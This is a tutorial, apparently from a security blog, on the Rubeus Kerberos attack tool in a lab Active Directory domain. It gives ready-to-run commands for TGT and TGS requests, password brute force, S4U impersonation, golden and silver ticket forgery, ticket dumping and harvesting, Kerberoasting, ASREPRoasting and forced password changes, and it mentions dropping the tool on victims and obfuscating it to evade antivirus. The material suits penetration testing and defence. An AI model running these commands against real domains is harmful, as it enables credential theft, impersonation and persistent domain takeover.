Rubeus is a C# toolkit for Kerberos interaction and abuse. Kerberos, as we all know, is a ticket-based network authentication protocol used in Active Directories. Unfortunately, human error often causes administrators to misconfigure AD without considering security. Therefore, Rubeus exploits these misconfigurations and performs functions like crafting keys and granting access using forged certificates. This article explains how to use Rubeus in various scenarios.

Table of Content

• Kerberos Authentication Flow
  • Kerberos & its Major Components
  • Kerberos Workflow using Messages
• Service Principal Name SPN
• Rubeus Setup
• Ticket Operations
  • Asktgt
  • Asktgs
  • Klist
  • Renew
  • Brute
• Hash
• S4u
• Golden Ticket
• Silver Ticket
• Ticket Management
  • Ptt
  • Purge
  • Describe
  • Triage
  • Dump
  • Tgtdeleg
  • Monitor
  • Harvest
• Kerberoasting
• ASREPRoast
• Createnetonly
• Changepw
• Currentluid
• Conclusion

Kerberos Authentication Flow

Kerberos and its Major Components

The Kerberos protocol defines how clients interact with a network authentication service. Clients obtain tickets from the Key Distribution Center (KDC) and submit them to application servers when they establish connections. Moreover, the protocol uses UDP port 88 by default and relies on symmetric key cryptography.

“Kerberos uses tickets to authenticate a user and completely avoids sending passwords across the network”.

There are some key components in Kerberos authentication that play a crucial role in the entire authentication process.

Kerberos Workflow using Messages

In the Active Directory domain, every domain controller runs a KDC (Kerberos Distribution Center) service that processes all requests for tickets to Kerberos. For Kerberos tickets, AD uses the KRBTGT account in the AD domain.

The image below shows that the major role played by KDC in establishing a secure connection between the server & client and the entire process uses some special components as defined in the table above.

As mentioned above, Kerberos uses symmetric cryptography for encryption and decryption. Let us get into more details and try to understand how encrypted messages are sent to each other. Here we use three colours to distinguish Hashes:

• BLUE _KEY: User NTLM HASH
• YELLOW_KEY: Krbtgt NTLM HASH
• RED_KEY: Service NTLM HASH

STEPS:

1: By sending the request message to KDC, client initializes communication as:

KRB_AS_REQ contains the following:

• Username of the client to be authenticated.
• The service SPN (SERVICE PRINCIPAL NAME) linked with Krbtgt account
• An encrypted timestamp (Locked with User Hash: Blue Key)

The system encrypts the entire message using the User NTLM hash (Locked with BLUE KEY) to authenticate the user and prevent replay attacks.

2: The KDC uses a database consisting of Users/Krbtgt/Services hashes to decrypt a message (Unlock with BLUE KEY) that authenticates user identification.

Then, the KDC generates a TGT (Ticket Granting Ticket) for the client, encrypts it using the Krbtgt hash (Locked with YELLOW KEY), and includes some encrypted message using the user hash.

KRB_AS_REP contains the following:

• Username
• Some encrypted data, (Locked with User Hash: Blue Key) that contains:

• Session key
• The expiration date of TGT

• TGT, (Locked with Krbtgt Hash: Yellow Key) which contains:

• Username
• Session key
• The expiration date of TGT
• PAC with user privileges, signed by KDC

3: The client stores the KRB_TGT in the Kerberos tray (memory) of the machine. As a result, since the user already holds the KRB_TGT, the client uses it to identify itself for the TGS request and sends a copy of the TGT with encrypted data to the KDC.

KRB_TGS_REQ contains:

• Encrypted data with the session key

• Username
• Timestamp

• TGT
• SPN of requested service e.g. SQL service

4: The KDC receives the KRB_TGS_REQ message and decrypts it using the Krbtgt hash to verify the TGT (Unlocked with YELLOW KEY). Subsequently, it returns a TGS as KRB_TGS_REP, encrypted using the requested service hash (Locked with RED KEY) and an encrypted message using the user hash.

KRB_TGS_REP contains:

• Username
• Encrypted data with the session key:

• Service session key

• The expiration date of TGS
• TGS, (Service Hash: RED Key) which contains:

• Service session key
• Username
• The expiration date of TGS
• PAC with user privileges, signed by KDC

5: The user sent the copy of TGS to the Application Server,

KRB_AP_REQ contains:

• TGS
• Encrypted data with the service session key:

• Username
• Timestamp, to avoid replay attacks

6: The application attempts to decrypt the message using its NTLM hash and to verify the PAC from KDC to identify user Privilege which is an optional case.

7:  KDC verifies PAC (Optional)

8:  Allow the user to access the service for a specific time.

Service Principal Name

The Service Principal Name (SPN) is a unique identifier for a service instance. Active Directory Domain Services and Windows provide support for Service Principal Names (SPNs), which are key components of the Kerberos mechanism through which a client authenticates a service.

Important Points

• If you install multiple instances of a service on computers throughout a forest, each instance must have its own SPN. 
• Before the Kerberos authentication service can use an SPN to authenticate a service, an administrator must register the SPN on the account.
• An administrator can register a given SPN on only one account. 
• An SPN must remain unique in the forest in which the administrator registers it.
• If it is not unique, authentication will fail.

The SPN syntax has four elements 

Type of SPN:

• Host-based SPNs, associated with the computer account in AD, generate a randomly created 128-character long password that changes every 30 days; hence, they are of no use in Kerberoasting attacks.
• SPNs associate with a domain user account where the NTLM hash will be used.

Rubeus setup

Interestingly, Greek mythology mentions a three-headed dog named Cerberus, which sounds like Kerberos. Additionally, Harry Potter features a similar three-headed dog called “Fluffy,” owned by Rubeus Hagrid. Inspired by sci-fi and mythology, Will Schroeder and others created Rubeus, a tool that attacks Kerberos and generates raw Kerberos data over UDP port 88. Derived from Mimikatz and MakeMeEnterpriseAdmin, it can generate raw Kerberos data on UDP port 88 and is available for download. download here.

Please note that the most recent Rubeus binary is compiled from code by using Visual Studio. but a release for ease of use can also be found here.

Detection: Due to its use of generic functions and code from Mimikatz (part of the kekeo malware family), many anti-viruses block Rubeus by default. Furthermore, since Rubeus operates as a dropped executable, attackers often obfuscate it to evade detection when it lands on disk.

Once downloaded, drop it on the victim’s system and run

rubeus.exe

Now that we have set it up, we are ready to demonstrate various options in Rubeus.

Ticket Operations

Working in an Active Directory environment relies on various tickets. For example, a Ticket Granting Ticket (TGT) is an authentication token the KDC issues to request specific resource access from the TGS.

In this section, we’ll explore how Rubeus interacts with Kerberos tickets and uses them to gain unauthorized access.

 Asktgt

Rubeus can generate raw AS-REQ traffic to request a TGT using a given username and password. Additionally, it accepts encrypted passwords (RC4, AES, or DES). Here’s an example using a clear-text password.

rubeus.exe asktgt /user:harshitrajpal /password:Password@1

As you can see above, someone has successfully generated a KRBTGT that can be further used to generate TGS. You can achieve the same by providing an encrypted password. Let’s use a password encrypted with the RC4 cipher.

rubeus.exe asktgt /user:harshitrajpal /rc4:64FBAE31CC352FC26AF97CBDEF151E03

Asktgs

Rubeus has an asktgs option which can build raw TGS-REP requests by providing a ticket either in the CLI argument or by providing a path to a ticket.kirbi file placed on disk. Each TGS has a specified purpose.

For example, let’s create a TGS for the LDAP service. One or more service SPNs can be provided.

rubeus.exe asktgs /user:harshitrajpal /ticket:doIFNDCCBTCgAwIBB...bA== /service:LDAP/dc1.ignite.local

By providing in the TGT we generated in the previous step (copying in notepad and removing enters to type the ticket in a single line) we have generated a TGS successfully.

Klist

You can use the klist command in Windows to view Kerberos tickets on the system. In this example, running klist shows that KRBTGT and LDAP TGS tickets have been generated and saved in the current session.

Renew

The renew function in Rubeus builds a TGT renewal exchange. You can specify a domain controller using the /dc flag to direct renewal traffic. Moreover, the tgtdeleg option allows credential extraction without elevation and keeps it valid for a week on another system.

/ptt flag is in conjunction to apply the Kerberos

rubeus.exe renew /dc:dc1.ignite.local /ticket:doIFNDCCB....bA==

/autorenew sub function will put the exchange to sleep for endTime 30 minutes and after that window automatically renew the TGT and display the renewed ticket

rubeus.exe renew /dc:dc1.ignite.local /autorenew /ticket:doIFNDCCBTCgAw...bA==

As you may now observe that after a specified time interval a renewed TGT is shown

Brute

You can use the brute option in Rubeus to perform a password bruteforce attack against Active Directory accounts. Often, the same password is reused across multiple accounts in real-world enterprise networks. Thus, this function can generate multiple TGTs for accounts using the same password. Use /noticket alongside this to run without requiring an existing ticket.

rubeus.exe brute /password:Password@1 /noticket

Hash

Rubeus is capable of taking in passwords and generating hashes of them. These are of different formats including NTLM (rc4_hmac) hash. To do this, we can use a hash function and provide a domain using /domain, an account’s name (can be a machine account too) using the/user flag and the password using /password.

rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1

As you can see 4 different hashes have been output. Various encryption ciphers are used in conjunction with popular hashing techniques. All of these ciphers are supported in AD environment and hence, may be used for different purposes.

S4u

We saw above how we can generate hashes using Rubeus. Now let’s talk about one such attack where hashes can be used to impersonate another user and carry out delegation attacks. For a detailed write-up on delegation, and attacks follow the link here. In short, OS post-Windows server 2003 contained a Kerberos protocol extension called s4uself and s4uproxy. These protocols can be used to conduct delegation attacks. For example, in the example below, we have performed an attack called “Resource-Based Constrained Delegation” which benefits the msDS-AllowedToActOnBehalfOfAnotherIdentity option set in the attribute’s editor. Follow the article here for a full attack. In the example below, we’ll use the user noob’s hash and then impersonate Administrator account.

/rc4: The system uses the flag to provide user noob’s account.

/impersonateuser: Noob will impersonate the user.

/msdsspn: The account needs a valid msDS-AllowedToActOnBehalfOfAnotherIdentity value. Here, the domain controller

/altservice: You can supply one or more service names to substitute in the resulting .kirbi file.

/ptt: Injects the resulting ticket in the current terminal session

rubeus.exe s4u /user:noob$ /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /impersonateuser:Administrator /msdsspn:host/dc1.ignite.local /altservice:cifs /domain:ignite.local /ptt

This would generate a ticket for Administrator user over the specified SPN. In short, we can now act as DC.

Golden Ticket

Attackers forge Golden tickets as KRBTGTs (Key Distribution Service accounts) to create other TGTs. This provides an attacker persistence over the domain accounts. For a detailed walkthrough on the topic you can visit the article here.

To forge a golden ticket for user harshitrajpal, we first generate an AES hash (RC4 works too) using the hash command in Rubeus and then using the golden function like so. Here,

/ldap: Retrieves user information over LDAP protocol.

/user: Username for which the ticket will be forged.

/printcmd: Displays a one-liner command that generates the ticket again that was just generated.

rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1
rubeus.exe golden /aes256:EA2344691D140975946372D18949706857EB9C5F65855B0E159E54260BEB365C /ldap /user:harshitrajpal /printcmd

As you can see, we fetch various details like SID, userID, Service Key, etc., over LDAP, which are important to generate a ticket. We also perform PAC signing and generate a TGT for harshitrajpal.

Also, at the end you’ll see a one liner command that can be used to generate this TGT again.

Various other options can modify the generated TGT in conjunction with Golden like:

/rangeinterval: After every time specified, the system generates a new ticket.

/rangeend: The setting specifies the maximum time for generating tickets. Here, 5 days. Since rangeinterval is 1d, the system generates 5 different tickets.

For a full list of modifications, see this page.

Silver Ticket

Attackers forge Silver tickets, which are Kerberos Ticket Granting Service (TGS) Tickets, but they do not communicate with the domain controller. The service account configured with an SPN for each server running the Kerberos-authenticating service signs the ticket. For more details visit the page here.

Attackers can perform a silver ticket attack using Rubeus’s silver function. They need to make other customisations like:

/service: SPN of the service ticket being generated for

/rc4: Hash of a valid user (harshitrajpal here) that will be used to encrypt the generated ticket

/user: username of the user whose hash is provided

/creduser: User to impersonat

/credpassword: Password of the user to impersonate

/krbkey: used to create the KDCChecksum and TicketChecksum. This is the AES256 hmac sha1 hash in the following case.

/krbenctype: type of encrypted hash used. Aes256 here.

rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1
rubeus.exe silver /service:cifs/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /ldap /creduser:ignite.local\Administrator /credpassword:Ignite@987 /user:harshitrajpal /krbkey:EA2344691D140975946372D18949706857EB9C5F65855B0E159E54260BEB365C /krbenctype:aes256 /domain:ignite.local /ptt

This helped us generate a silver ticker for Administrator account. And as a result, we are now able to access DC machine’s C drive

dir \\dc1.ignite.local\c$

Ticket Management

Rubeus contains multiple ticket management options that may aid a pentester to conduct operations effectively and stealthily. As a pentester, we need to manage our generated tickets.

Ptt

The Rubeus ptt option can import the supplied ticket in command line. The /ptt can also be used in conjunction with other options that output tickets. For example,

rubeus.exe ptt /ticket:doIFNDCCBTCgAwI...bA==

As you can see, the generated ticket has now been imported.

Purge

Rubeus has a purge option which can purge/delete all the tickets existing in the current session.

Here, we demonstrate how we purged 2 tickets listed by klist.

rubeus.exe purge

Describe

Often we lose track of the tickets in system. Describe option helps us to view details about a particular base64 encrypted blob or ticket.kirbi file.

We can provide the ticket using /ticket flag.

rubeus.exe describe /ticket:doIFNDCCBTCg...bA==

Triage

While klist views tickets for current session triage lists all the tickets. When an administrator runs a session, we can not only view tickets in the current user’s session memory but also other users’ tickets in memory too.

/luid: You can use this flag to provide a specific user ID.

rubeus.exe triage
rubeus.exe triage /luid:0x8f57c

Also, when the LUID is known, we can purge a particular user’s tickets too (elevated mode only)

rubeus.exe purge /luid:0x8f57c

Dump

If the session is running in an elevated mode, a user can dump/ extract all the current TGTs and service tickets. Again, /luid can be provided to dump a specific user’s tickets. /service can be used to filter these tickets.

For example, /service:krbtgt displays only TGTs.

rubeus.exe dump

For a specific service like only krbtgt:

rubeus.exe dump /service:krbtgt

Tgtdeleg

Tgtdeleg is Benjamin Delpy’s technique that can exploit the Generic Security Service Application Program Interface (GSS-API) trick and allows you to extract a usable TGT .kirbi file from the current user’s session in low elevation mode. This Windows API can be used to request a delegate TGT that’s intended to be sent to a remote host/SPN.

This can be done like:

rubeus.exe tgtdeleg

As you can see, the current user’s TGT has been dumped successfully.

Monitor

The monitor function can periodically extract all TGTs every x seconds, where x is the variable provided in the /interval flag.

/targetuser: Only the specified user’s tickets will be returned.

rubeus.exe monitor /targetuser:noob$ /interval:10

Harvest

The harvest option extracts TGTs every x seconds, where the /interval flag provides x, and it also maintains a cache of any extracted TGTs while it autorenews any tickets about to expire.

/nowrap filter: Displays tickets in a single line (very helpful)

/runfor: Can specify the end time of harvest option

rubeus.exe harvest /interval:30

Kerberoasting

An attacker uses the technique of Kerberoasting to steal the KRB_TGS ticket, which RC4 encrypts, and then brute-forces the application service’s hash to extract its password. Kerberos uses the NTLM hash of the requested service to encrypt the KRB_TGS ticket for the given Service Principal Names (SPNs). When a domain user sends a request for a TGS ticket to the KDC, the controller generates the KRB_TGS without verifying the user’s authorization against the requested service.

Consequently, an attacker can use this ticket offline to brute-force the service account’s password, since RC4 encrypts the ticket with the account’s NTLM hash.

For a detailed guide on Kerberoasting, see our article here.

Kerberoasting using Rubeus for a specified SPN

To perform Kerberoasting using Rubeus for a specified SPN, you can use the /spn flag:

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local

As you can see above, Kerberoasting has dumped a valid Kerberos hash for the LDAP service, which you can crack using Hashcat with module 13100.

You can use /tgtdeleg to perform the TGT delegation trick to roast all RC4-enabled accounts:

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /tgtdeleg

Use the /aes flag to roast all AES-enabled accounts while using KerberosRequestorSecurityToken:

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /aes

Alternatively, provide domain credentials using/creduser and /credpassword to perform Kerberoasting:

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /creduser:ignite.local\Administrator /credpassword:Ignite@987

You can also specify customization flags such as:

/pwdsetbefore: Format MM-dd-yyyy – roasts accounts that last changed their password before this date.

/resultlimit: Limits the number of accounts to roast.

/delay: Adds milliseconds delay between two consecutive TGS requests.

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /pwdsetbefore:08-05-2022 /resultlimit:3 /delay:1000

Moreover, use /rc4opsec to apply the TGT delegation trick and target accounts without AES enabled:

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /rc4opsec

You can also use /simple to output hashes, one per line and /nowrap to avoid line wrapping:

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /simple /nowrap

Finally, use /outfile to store the hashes in a file:

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /outfile:type.hash

ASREPRoast

To obtain a service ticket, the client first validates using pre-authentication. However, if the pre-authentication requirement is disabled for an account, the user becomes vulnerable to ASREPRoasting.

When the “Do not use Kerberos pre-authentication” setting is enabled, attackers can recover a Kerberos AS-REP that encrypts the user’s RC4-HMAC password and then attempt to crack the ticket offline.

You can read our detailed article here.

To specify an SPN for ASREPRoast, use the following:

rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local

As you can see, accounts with pre-authentication disabled are vulnerable, and their AS-REP hashes have been dumped.

These hashes can be dumped in Hashcat format, or cracked using John the Ripper (JtR) by default:

rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local /format:hashcat

Optionally, use/domain and /dc to define the domain and domain controller:

rubeus.exe asreproast /domain:ignite.local /dc:dc1

Also, use /outfile to save the dumped hashes to a file:

rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local /outfile:type2.hash

Finally, If you enable /ldaps, LDAP queries will go over secure LDAP (port 636):

rubeus.exe asreproast /user:harshitrajpal /ldaps

Createnetonly

The /createnetonly option uses the CreateProcessWithLogonW() API to create a new hidden process, returning its Process ID (PID) and LUID. You can then use this LUID with /ptt to apply a Kerberos ticket to the new process.

Use the /ticket flag to inject a kirbi ticket or base64 blob:

rubeus.exe createnetonly /program:"C:\Windows\System32\upnpcont.exe" /ticket:ticket.kirbi

As you can see, the process ID3032 has been assigned to this hidden process, and the LUID can be used via the /luid flag.

Changepw

The changepw option allows an attacker to change a user’s password using a TGT .kirbi file or a base64 blob. When used with/tgtdeleg or /asktgt, it changes the password just from the user hash. For example:

/ticket: we provided valid TGT of current user.

rubeus.exe changepw /ticket:doIFNDCC...bA== /new:Password@1!!!

As shown, the password for user harshitrajpal has been successfully changed.

You can also change the password of a target user with the same credentials using /targetuser (typically found via brute-force):

rubeus.exe changepw /targetuser:ignite.local\mufasa /ticket:doIFNDCC...bA== /new:Password@1!!!

Here, Mufasa had the same password and his password has now changed as well.

Currentluid

This simple option displays the current LUID, which you can then reuse with other Rubeus options, such as purging a ticket for a specific user:

rubeus.exe currentluid

Conclusion

This article explored Rubeus, a C# implementation of many Active Directory attacks seen in tools like Kekeo. As a powerful post-exploitation tool, an attacker can drop Rubeus on a victim’s machine to execute a variety of Kerberos-based attacks. We tried to cover a majority of options. For a detailed wiki, refer to it here. The author intends the article to serve as a quick, ready reference for Rubeus usage. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here